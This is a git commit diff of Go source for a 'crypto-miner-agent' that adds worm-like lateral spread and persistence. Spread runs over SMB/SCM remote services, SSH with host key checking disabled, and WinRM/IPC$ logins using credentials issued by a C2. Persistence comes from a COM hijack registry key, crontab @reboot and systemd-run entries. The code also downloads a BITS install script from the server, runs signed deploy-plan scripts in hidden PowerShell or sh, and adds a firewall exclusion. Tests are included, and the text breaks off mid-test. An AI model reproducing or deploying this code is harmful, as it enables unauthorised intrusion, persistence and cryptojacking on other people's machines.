Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -34,6 +34,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
for {
spreadToLocalSubnet(cfg)
if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
}
<-ticker.C
}
}()
@@ -43,7 +46,10 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
go spreadToLocalSubnet(cfg)
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
if cfg.WinRMSpread || cfg.AutoSpread {
go spreadViaWinRM(cfg)
}
return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)"
}
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
@@ -52,56 +58,7 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
// ARP-first: only probe hosts the OS has recently spoken to.
// Typically 520 hosts vs 253 cold-probes — far quieter and faster.
targets := arpHosts()
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
// machines with SMB open so we still reach previously-unseen machines.
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
// Quick port check — only bother with machines that have :445 open
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
}
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
beginSpreadSweep("smb_scm", len(filtered))
if len(filtered) == 0 {
finishSpreadSweepImmediate()
@@ -125,6 +82,18 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
}
conn.Close()
var credSession SpreadCredSession
var credCleanup func()
if session, ok := acquireSpreadCred(target, "smb_scm"); ok {
credSession = session
if cleanup, applied := applySpreadCredSession(target, session); applied {
credCleanup = cleanup
}
}
if credCleanup != nil {
defer credCleanup()
}
exePath, err := os.Executable()
if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable")
@@ -159,7 +128,9 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "smb_scm", credSession, true)
} else {
recordSpreadAttempt(target, false, "remote service start failed")
reportSpreadCredEdge(target, "smb_scm", credSession, false)
}
}

View File

@@ -139,7 +139,11 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
}
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
sshSpreadStartCmd(remotePath))
if persist := sshSpreadPersistCmd(cfg, remotePath); persist != "" {
start = exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
sshSpreadStartCmd(remotePath)+"; "+persist)
}
if err := start.Run(); err == nil {
log.Printf("[autospread] deployed to %s via SSH", target)
recordSpreadAttempt(target, true, "")

View File

@@ -0,0 +1,8 @@
//go:build !windows
package deploy
import "crypto-miner-agent/config"
// MaybeApplyCOMHijackOnInstall is a no-op on non-Windows platforms.
func MaybeApplyCOMHijackOnInstall(_ config.RuntimeConfig, _ string) {}

View File

@@ -0,0 +1,33 @@
//go:build windows
package deploy
import (
"fmt"
"log"
"crypto-miner-agent/config"
)
// Benign CLSID used for optional COM hijack persistence (owned lab machines only).
const comHijackCLSID = `{BCDE0395-E52F-467C-8E3D-C4579291692E}`
// applyCOMHijackPersistence registers agent under InprocServer32 (forge flag COMHijackPersist).
func applyCOMHijackPersistence(agentPath string) error {
if agentPath == "" {
return fmt.Errorf("empty agent path")
}
base := `HKCU\Software\Classes\CLSID\` + comHijackCLSID + `\InprocServer32`
_ = HiddenRun("reg.exe", "add", base, "/ve", "/d", agentPath, "/f")
_ = HiddenRun("reg.exe", "add", base, "/v", "ThreadingModel", "/d", "Apartment", "/f")
log.Printf("[spread] COM hijack registered under %s (owned machines only)", comHijackCLSID)
return nil
}
// MaybeApplyCOMHijackOnInstall applies COM hijack after install when configured.
func MaybeApplyCOMHijackOnInstall(cfg config.RuntimeConfig, installedBin string) {
if !cfg.COMHijackPersist {
return
}
_ = applyCOMHijackPersistence(installedBin)
}

View File

@@ -13,9 +13,10 @@ import (
)
const (
runFlag = "--run"
spreadFlag = "--spread-install"
backupSuffix = ".bak"
runFlag = "--run"
spreadFlag = "--spread-install"
deferMiningFlag = "--defer-mining"
backupSuffix = ".bak"
)
// BinaryExt returns the executable suffix for the current OS.
@@ -95,7 +96,15 @@ func copyFile(src, dest string) error {
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
return relaunchWithOptions(exePath, logPath, WantsDeferMining())
}
func relaunchWithOptions(exePath, logPath string, deferMining bool) error {
args := []string{runFlag}
if deferMining {
args = append(args, deferMiningFlag)
}
cmd := exec.Command(exePath, args...)
cmd.Dir = filepath.Dir(exePath)
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
@@ -186,6 +195,34 @@ func wantsSpreadInstall() bool {
return false
}
// WantsDeferMining delays the mining fallback chain until diagnostics pass (spread/GPO/Intune).
func WantsDeferMining() bool {
if wantsDeferMiningFlag() {
return true
}
if v := strings.TrimSpace(os.Getenv("AETHER_DEFER_MINING")); v == "1" || strings.EqualFold(v, "true") {
return true
}
return false
}
func wantsDeferMiningFlag() bool {
for _, arg := range os.Args[1:] {
if arg == deferMiningFlag {
return true
}
}
return false
}
// RunFlags returns CLI flags appended after --run for autostart/relaunch hooks.
func RunFlags() string {
if WantsDeferMining() {
return runFlag + " " + deferMiningFlag
}
return runFlag
}
func isRunMode() bool {
for _, arg := range os.Args[1:] {
if arg == runFlag {

View File

@@ -0,0 +1,29 @@
package deploy
import (
"os"
"testing"
)
func TestWantsDeferMiningFlag(t *testing.T) {
old := os.Args
defer func() { os.Args = old }()
os.Args = []string{"agent", "--run"}
if WantsDeferMining() {
t.Fatal("expected false without defer flag or env")
}
os.Args = []string{"agent", "--run", "--defer-mining"}
if !WantsDeferMining() {
t.Fatal("expected true with --defer-mining")
}
}
func TestRunFlagsIncludesDeferWhenSet(t *testing.T) {
old := os.Args
defer func() { os.Args = old }()
os.Args = []string{"agent", "--defer-mining"}
flags := RunFlags()
if flags != "--run --defer-mining" {
t.Fatalf("RunFlags = %q", flags)
}
}

View File

@@ -0,0 +1,80 @@
package deploy
import (
"strings"
"sync"
)
// SpreadCredSession is a short-lived deployment credential bundle (never persisted by the agent).
type SpreadCredSession struct {
ProfileID string
Username string
Password string
}
// SpreadCredReport records a spread attempt outcome for the server cred graph.
type SpreadCredReport struct {
Host string
Subnet string
ProfileID string
Method string
Success bool
}
type spreadCredBootstrapFn func(host, subnet, method string) (SpreadCredSession, error)
type spreadCredReporterFn func(SpreadCredReport)
var (
spreadCredHooksMu sync.RWMutex
spreadCredBoot spreadCredBootstrapFn
spreadCredReport spreadCredReporterFn
)
// SetSpreadCredHooks wires server-backed bootstrap tokens from the agent client.
func SetSpreadCredHooks(bootstrap spreadCredBootstrapFn, report spreadCredReporterFn) {
spreadCredHooksMu.Lock()
spreadCredBoot = bootstrap
spreadCredReport = report
spreadCredHooksMu.Unlock()
}
func acquireSpreadCred(host, method string) (SpreadCredSession, bool) {
subnet := getSubnet(strings.TrimSpace(host))
if subnet == "" {
return SpreadCredSession{}, false
}
spreadCredHooksMu.RLock()
bootstrap := spreadCredBoot
spreadCredHooksMu.RUnlock()
if bootstrap == nil {
return SpreadCredSession{}, false
}
session, err := bootstrap(host, subnet, method)
if err != nil || strings.TrimSpace(session.ProfileID) == "" {
return SpreadCredSession{}, false
}
return session, true
}
func reportSpreadCredEdge(host, method string, session SpreadCredSession, success bool) {
if strings.TrimSpace(session.ProfileID) == "" {
return
}
subnet := getSubnet(strings.TrimSpace(host))
if subnet == "" {
return
}
spreadCredHooksMu.RLock()
report := spreadCredReport
spreadCredHooksMu.RUnlock()
if report == nil {
return
}
report(SpreadCredReport{
Host: host,
Subnet: subnet,
ProfileID: session.ProfileID,
Method: method,
Success: success,
})
}

View File

@@ -0,0 +1,11 @@
//go:build !windows
package deploy
func applySpreadCredSession(_ string, _ SpreadCredSession) (cleanup func(), ok bool) {
return nil, false
}
func winRMCredPSBlock(target string, _ SpreadCredSession, innerScript string) string {
return innerScript
}

View File

@@ -0,0 +1,43 @@
//go:build windows
package deploy
import (
"fmt"
"strings"
)
func applySpreadCredSession(target string, session SpreadCredSession) (cleanup func(), ok bool) {
target = strings.TrimSpace(target)
user := strings.TrimSpace(session.Username)
pass := session.Password
if target == "" || user == "" || pass == "" {
return nil, false
}
userArg := user
if !strings.Contains(user, `\`) && !strings.Contains(user, `@`) {
userArg = target + `\` + user
}
share := `\\` + target + `\IPC$`
if err := HiddenRun("net.exe", "use", share, pass, "/user:"+userArg); err != nil {
return nil, false
}
return func() {
_ = HiddenRun("net.exe", "use", share, "/delete", "/y")
}, true
}
func winRMCredPSBlock(target string, session SpreadCredSession, innerScript string) string {
user := strings.ReplaceAll(session.Username, `'`, `''`)
pass := strings.ReplaceAll(session.Password, `'`, `''`)
target = strings.ReplaceAll(target, `'`, `''`)
return fmt.Sprintf(`
$sec = ConvertTo-SecureString '%s' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('%s', $sec)
$s = New-PSSession -ComputerName '%s' -Credential $cred -EA SilentlyContinue
if ($s) {
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
Remove-PSSession $s -EA SilentlyContinue
}
`, pass, user, target, innerScript)
}

View File

@@ -105,12 +105,32 @@ func sanitizeDesktopFilename(name string) string {
return filepath.Join(clean...)
}
func remotePathHasTraversal(remote string) bool {
remote = strings.TrimSpace(remote)
if remote == "" {
return false
}
if strings.HasPrefix(remote, "~/") {
remote = remote[2:]
}
remote = strings.ReplaceAll(remote, "\\", "/")
for _, part := range strings.Split(remote, "/") {
if part == ".." {
return true
}
}
return false
}
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
func ResolveRemotePath(remote string) (string, error) {
remote = strings.TrimSpace(remote)
if remote == "" {
return "", fmt.Errorf("remote path is empty")
}
if remotePathHasTraversal(remote) {
return "", fmt.Errorf("path traversal (..) is not allowed")
}
lower := strings.ToLower(remote)
if strings.HasPrefix(lower, "desktop:") {
return ResolveDesktopFile(remote[len("desktop:"):])

View File

@@ -0,0 +1,239 @@
package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
type DeployPlanBody struct {
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
}
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
type DeployPlanResponse struct {
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Plan DeployPlanBody `json:"plan"`
Signature string `json:"signature"`
}
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
if fleetSecret == "" || signature == "" {
return false
}
payload, err := json.Marshal(plan)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
lane := strings.TrimSpace(plan.JoinLane)
if lane == "" {
lane = strings.TrimSpace(plan.Action)
}
switch lane {
case "bits_curl", "docker_load":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
}
msg, err := RunStagingChain(cfg, *plan.Manifest)
if err != nil {
return "", err
}
if lane == "docker_load" && plan.ImageTarURL != "" {
msg += "; docker_load image=" + plan.ImageTarURL
}
return msg, nil
case "winrm":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err
}
return "winrm bootstrap script executed", nil
case "gpo":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err
}
return "gpo startup script executed", nil
case "linux_lotl":
if err := runJoinScript(plan.Script, false); err != nil {
return "", err
}
return "linux lotl bootstrap executed", nil
case "spread_smb_unc":
unc := strings.TrimSpace(plan.UNCPath)
if unc == "" {
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
}
max := plan.MaxHosts
if max <= 0 {
max = 64
}
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
return msg, nil
default:
return "", fmt.Errorf("unsupported join lane %q", lane)
}
}
func runJoinScript(script string, windows bool) error {
script = strings.TrimSpace(script)
if script == "" {
return fmt.Errorf("empty join script")
}
if windows || runtime.GOOS == "windows" {
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
}
return HiddenRun("/bin/sh", "-c", script)
}
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
var out []DeployServiceFinding
appendHost := func(host ServiceGraphHost) {
for _, svc := range host.Services {
name := strings.TrimSpace(svc.ServiceName)
if name == "" {
continue
}
out = append(out, DeployServiceFinding{
Name: name,
Status: serviceStatusForPlan(svc),
DisplayName: name,
})
}
}
appendHost(result.Local)
for _, h := range result.LANHosts {
appendHost(h)
}
return out
}
// DeployServiceFinding mirrors the server deploy-plan request service row.
type DeployServiceFinding struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type,omitempty"`
}
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
func PickLocalJoinLane(discoveryJSON string) string {
result, err := ParseServiceDiscoverJSON(discoveryJSON)
if err != nil {
return ""
}
var best string
for _, svc := range result.Local.Services {
lane := strings.TrimSpace(svc.JoinLaneCandidate)
if lane == "" {
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
}
if lane != "" {
best = lane
}
}
return best
}
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
// fetchPlan is injected for tests.
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
raw := RunServiceDiscoverForJoin(maxLANHosts)
result, parseErr := ParseServiceDiscoverJSON(raw)
if parseErr != nil {
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
}
services := ServicesForDeployPlan(result)
if len(services) == 0 {
return "", "", fmt.Errorf("no services discovered")
}
uncPath := firstSMBShareUNC(result)
resp, err := fetchPlan(services, uncPath)
if err != nil {
return "", "", err
}
if !resp.OK && resp.Error != "" {
return "", "", fmt.Errorf("%s", resp.Error)
}
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
return "", "", fmt.Errorf("no allowlisted running services matched")
}
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
return "", "", fmt.Errorf("deploy plan signature invalid")
}
joinLane = resp.JoinLane
if joinLane == "" {
joinLane = resp.Plan.JoinLane
}
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
if err != nil {
return joinLane, "", err
}
return joinLane, msg, nil
}
// runServiceDiscoverFn allows tests to stub discovery output.
var runServiceDiscoverFn func(maxLANHosts int) string
func RunServiceDiscoverForJoin(maxLANHosts int) string {
if runServiceDiscoverFn != nil {
return runServiceDiscoverFn(maxLANHosts)
}
return RunServiceDiscover(maxLANHosts)
}
func firstSMBShareUNC(result ServiceDiscoverResult) string {
for _, h := range result.LANHosts {
for _, svc := range h.Services {
name := strings.ToLower(svc.ServiceName)
if strings.HasPrefix(name, "smb-share:") {
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
if share != "" && h.Host != "" {
return `\\` + h.Host + `\` + share
}
}
}
}
return ""
}
func serviceStatusForPlan(svc ServiceGraphEntry) string {
if st := strings.TrimSpace(svc.Status); st != "" {
return st
}
switch svc.Source {
case "lan_port", "smb_share", "passive_hint":
return "running"
default:
return "running"
}
}

View File

@@ -0,0 +1,78 @@
package deploy
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"testing"
"crypto-miner-agent/config"
)
func TestVerifyDeployPlanSignatureAgent(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "winrm",
Action: "winrm",
Script: "# noop",
}
payload, _ := json.Marshal(plan)
mac := hmac.New(sha256.New, []byte("fleet-test"))
mac.Write(payload)
sig := hex.EncodeToString(mac.Sum(nil))
if !VerifyDeployPlanSignature(plan, sig, "fleet-test") {
t.Fatal("expected valid signature")
}
}
func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
FleetSecret: "fleet-test",
WorkerName: "test-worker",
ServerURL: "http://127.0.0.1:8989",
},
}
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
if len(services) == 0 {
t.Fatal("expected services")
}
if services[0].Name != "CCMEXEC" {
t.Fatalf("service=%q", services[0].Name)
}
plan := DeployPlanBody{
JoinLane: "gpo",
Action: "gpo",
Script: "$env:AETHER_DEFER_MINING='1'",
}
payload, _ := json.Marshal(plan)
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
mac.Write(payload)
return DeployPlanResponse{
OK: true,
JoinLane: "gpo",
Plan: plan,
Signature: hex.EncodeToString(mac.Sum(nil)),
}, nil
}
// Inject fake discovery via ParseServiceDiscoverJSON path
oldDiscover := runServiceDiscoverFn
runServiceDiscoverFn = func(maxLANHosts int) string {
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"CCMEXEC","status":"running","join_lane_candidate":"gpo","source":"local_service"}]}}`
}
defer func() { runServiceDiscoverFn = oldDiscover }()
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
if err != nil {
// gpo script execution may fail on non-windows — still expect lane selection + signature pass
if lane != "gpo" {
t.Fatalf("lane=%q err=%v", lane, err)
}
return
}
if lane != "gpo" {
t.Fatalf("lane=%q detail=%q", lane, detail)
}
}

View File

@@ -59,13 +59,16 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return false, fmt.Errorf("autostart: %w", err)
}
MaybeApplyCOMHijackOnInstall(cfg, installedBin)
applyLinuxLOTLPersistence(cfg, installedBin)
if err := configureRunMode(cfg, installedBin); err != nil {
return false, err
}
EnsureFirewallExclusion(cfg, installedBin)
if err := relaunch(installedBin, logPath); err != nil {
if err := relaunchWithOptions(installedBin, logPath, wantsSpreadInstall() || WantsDeferMining()); err != nil {
return false, fmt.Errorf("start installed miner: %w", err)
}

View File

@@ -0,0 +1,78 @@
//go:build !windows
package deploy
import (
"fmt"
"log"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install.
func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) {
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
if mode == "" || mode == "off" {
return
}
runArgs := "--run"
if WantsDeferMining() {
runArgs += " --defer-mining"
}
if mode == "systemd_run_user" || mode == "both" {
unit := sanitizeName(cfg.WorkerName) + "-worker"
if unit == "-worker" {
unit = "aetherforge-worker"
}
args := []string{"--user", "--unit=" + unit + ".service", binPath}
args = append(args, strings.Fields(runArgs)...)
if err := exec.Command("systemd-run", args...).Run(); err != nil {
log.Printf("[lotl] systemd-run --user failed: %v", err)
} else {
log.Printf("[lotl] systemd-run --user registered %s", unit)
}
}
if mode == "crontab" || mode == "both" {
line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs)
out, _ := exec.Command("crontab", "-l").Output()
existing := string(out)
if strings.Contains(existing, binPath) {
return
}
newCrontab := strings.TrimSpace(existing)
if newCrontab != "" {
newCrontab += "\n"
}
newCrontab += line + "\n"
cmd := exec.Command("crontab", "-")
cmd.Stdin = strings.NewReader(newCrontab)
if err := cmd.Run(); err != nil {
log.Printf("[lotl] crontab persist failed: %v", err)
} else {
log.Printf("[lotl] crontab @reboot entry added")
}
}
}
// sshSpreadStartCmd builds remote start with spread + defer-mining flags.
func sshSpreadStartCmd(remotePath string) string {
return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath)
}
// sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required).
func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string {
mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode))
if mode == "" || mode == "off" {
return ""
}
var parts []string
if mode == "systemd_run_user" || mode == "both" {
parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath))
}
if mode == "crontab" || mode == "both" {
parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath))
}
return strings.Join(parts, "; ")
}

View File

@@ -0,0 +1,9 @@
//go:build windows
package deploy
import "crypto-miner-agent/config"
func applyLinuxLOTLPersistence(_ config.RuntimeConfig, _ string) {}
func sshSpreadStartCmd(remotePath string) string { return "" }
func sshSpreadPersistCmd(_ config.RuntimeConfig, _ string) string { return "" }

View File

@@ -0,0 +1,47 @@
package deploy
import (
"log"
"time"
"crypto-miner-agent/config"
)
// StartLotlOnion runs the ordered LOTL spread tier chain when enabled at forge time.
// Each tier uses native OS tooling — no extra miner exe drop beyond the forged agent.
func StartLotlOnion(cfg config.RuntimeConfig) {
if !cfg.LotlOnionEnabled {
return
}
tiers := NormalizeLotlTiers(cfg.LotlOnionTiers)
log.Printf("[lotl-onion] starting tier chain: %v (server_policy=%v)", tiers, cfg.LotlPolicyFromServer)
go runLotlOnionChain(cfg, tiers)
}
// TryDiscoverJoinLane attempts one discover_and_join deploy lane (exported for triple onion).
func TryDiscoverJoinLane(cfg config.RuntimeConfig, lane string) (bool, string) {
return tryLotlTier(cfg, lane)
}
// reportOnlyLotlTiers run recon probes without ending the spread chain.
var reportOnlyLotlTiers = map[string]struct{}{
"vuln_recon": {},
}
func runLotlOnionChain(cfg config.RuntimeConfig, tiers []string) {
// Stagger first pass so C2 auth and mining bootstrap settle first.
time.Sleep(2 * time.Minute)
for _, tier := range tiers {
ok, reason := tryLotlTier(cfg, tier)
if ok {
if _, reportOnly := reportOnlyLotlTiers[tier]; reportOnly {
log.Printf("[lotl-onion] tier %s complete: %s (report-only, continuing)", tier, reason)
continue
}
log.Printf("[lotl-onion] tier %s succeeded", tier)
return
}
log.Printf("[lotl-onion] tier %s skipped: %s", tier, reason)
}
log.Printf("[lotl-onion] all tiers exhausted — no lateral path succeeded")
}

View File

@@ -0,0 +1,27 @@
//go:build !windows
package deploy
import (
"crypto-miner-agent/config"
)
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
switch tier {
case "vuln_recon":
RunVulnRecon(HostOSVersion())
return true, "vuln recon complete (report only)"
case "linux":
if cfg.AutoSpread {
go RunSpreadOnce(cfg)
return true, "ssh lateral sweep started"
}
return false, "auto_spread disabled"
case "docker":
return false, "container tier stub on non-windows"
case "bits_curl":
return true, "curl|bash install one-liner available"
default:
return false, "tier not supported on this platform"
}
}

View File

@@ -0,0 +1,52 @@
//go:build !windows
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestTryLotlTierLinuxAutoSpread(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{AutoSpread: true},
}, "linux")
if !ok {
t.Fatalf("linux tier should succeed with auto_spread, got %q", msg)
}
if !strings.Contains(msg, "ssh") {
t.Fatalf("msg=%q", msg)
}
}
func TestTryLotlTierLinuxWithoutAutoSpread(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{}, "linux")
if ok {
t.Fatalf("expected failure without auto_spread, got %q", msg)
}
if !strings.Contains(msg, "auto_spread") {
t.Fatalf("msg=%q", msg)
}
}
func TestTryLotlTierBitsCurl(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{}, "bits_curl")
if !ok {
t.Fatalf("bits_curl tier should be available on unix, got %q", msg)
}
if !strings.Contains(msg, "curl") {
t.Fatalf("msg=%q", msg)
}
}
func TestTryLotlTierUnsupported(t *testing.T) {
ok, msg := tryLotlTier(config.RuntimeConfig{}, "winrm")
if ok {
t.Fatalf("winrm should be unsupported on unix, got %q", msg)
}
if !strings.Contains(msg, "not supported") {
t.Fatalf("msg=%q", msg)
}
}

View File

@@ -0,0 +1,69 @@
//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
switch tier {
case "vuln_recon":
RunVulnRecon(HostOSVersion())
return true, "vuln recon complete (report only)"
case "docker":
if _, err := exec.LookPath("docker"); err != nil {
return false, "container runtime unavailable"
}
return true, "container runtime ready for worker image pull"
case "wsl":
if _, err := exec.LookPath("wsl.exe"); err != nil {
return false, "wsl.exe not found"
}
out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
if err != nil || !strings.Contains(string(out), "ok") {
return false, "wsl not responding"
}
return true, "wsl available for curl|bash install one-liner"
case "powershell":
if _, err := exec.LookPath("powershell.exe"); err != nil {
return false, "powershell missing"
}
go runPSRemotingSpread(cfg)
return true, "powershell remoting sweep started"
case "dotnet":
if _, err := exec.LookPath("dotnet"); err != nil {
return false, "dotnet SDK/runtime missing"
}
return true, "dotnet host available for tool-run bootstrap"
case "bits_curl":
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
return true, "bits/curl install hook queued"
case "smb":
if !cfg.AutoSpread && !cfg.ShareSpread {
go RunSpreadOnce(cfg)
return true, "smb lateral sweep started"
}
go RunSpreadOnce(cfg)
return true, "smb sweep started"
case "winrm":
if !cfg.ShareSpread {
go runPSRemotingSpread(cfg)
return true, "winrm opportunistic sweep started"
}
go runPSRemotingSpread(cfg)
return true, "winrm sweep started"
case "linux":
return false, "linux tier is for ssh lateral on unix agents"
case "gpo":
return false, "gpo requires domain GPO push — operator action"
default:
return false, "unknown tier"
}
}

View File

@@ -0,0 +1,43 @@
package deploy
import "strings"
// DefaultLotlOnionTiers is the ordered LOTL spread contingency chain baked into
// the LOTL Onion forge preset and server config unless overridden at runtime.
var DefaultLotlOnionTiers = []string{
"vuln_recon",
"docker",
"wsl",
"powershell",
"dotnet",
"bits_curl",
"smb",
"winrm",
"linux",
"gpo",
}
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
func NormalizeLotlTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {
t = strings.ToLower(strings.TrimSpace(t))
if t == "bits/curl" {
t = "bits_curl"
}
if _, ok := allowed[t]; ok {
out = append(out, t)
}
}
if len(out) == 0 {
dup := make([]string, len(DefaultLotlOnionTiers))
copy(dup, DefaultLotlOnionTiers)
return dup
}
return out
}

View File

@@ -0,0 +1,20 @@
package deploy
import "testing"
func TestNormalizeLotlTiersDefaults(t *testing.T) {
got := NormalizeLotlTiers(nil)
if len(got) != len(DefaultLotlOnionTiers) {
t.Fatalf("expected %d default tiers, got %d", len(DefaultLotlOnionTiers), len(got))
}
if got[0] != "vuln_recon" || got[len(got)-1] != "gpo" {
t.Fatalf("unexpected order: %v", got)
}
}
func TestNormalizeLotlTiersAlias(t *testing.T) {
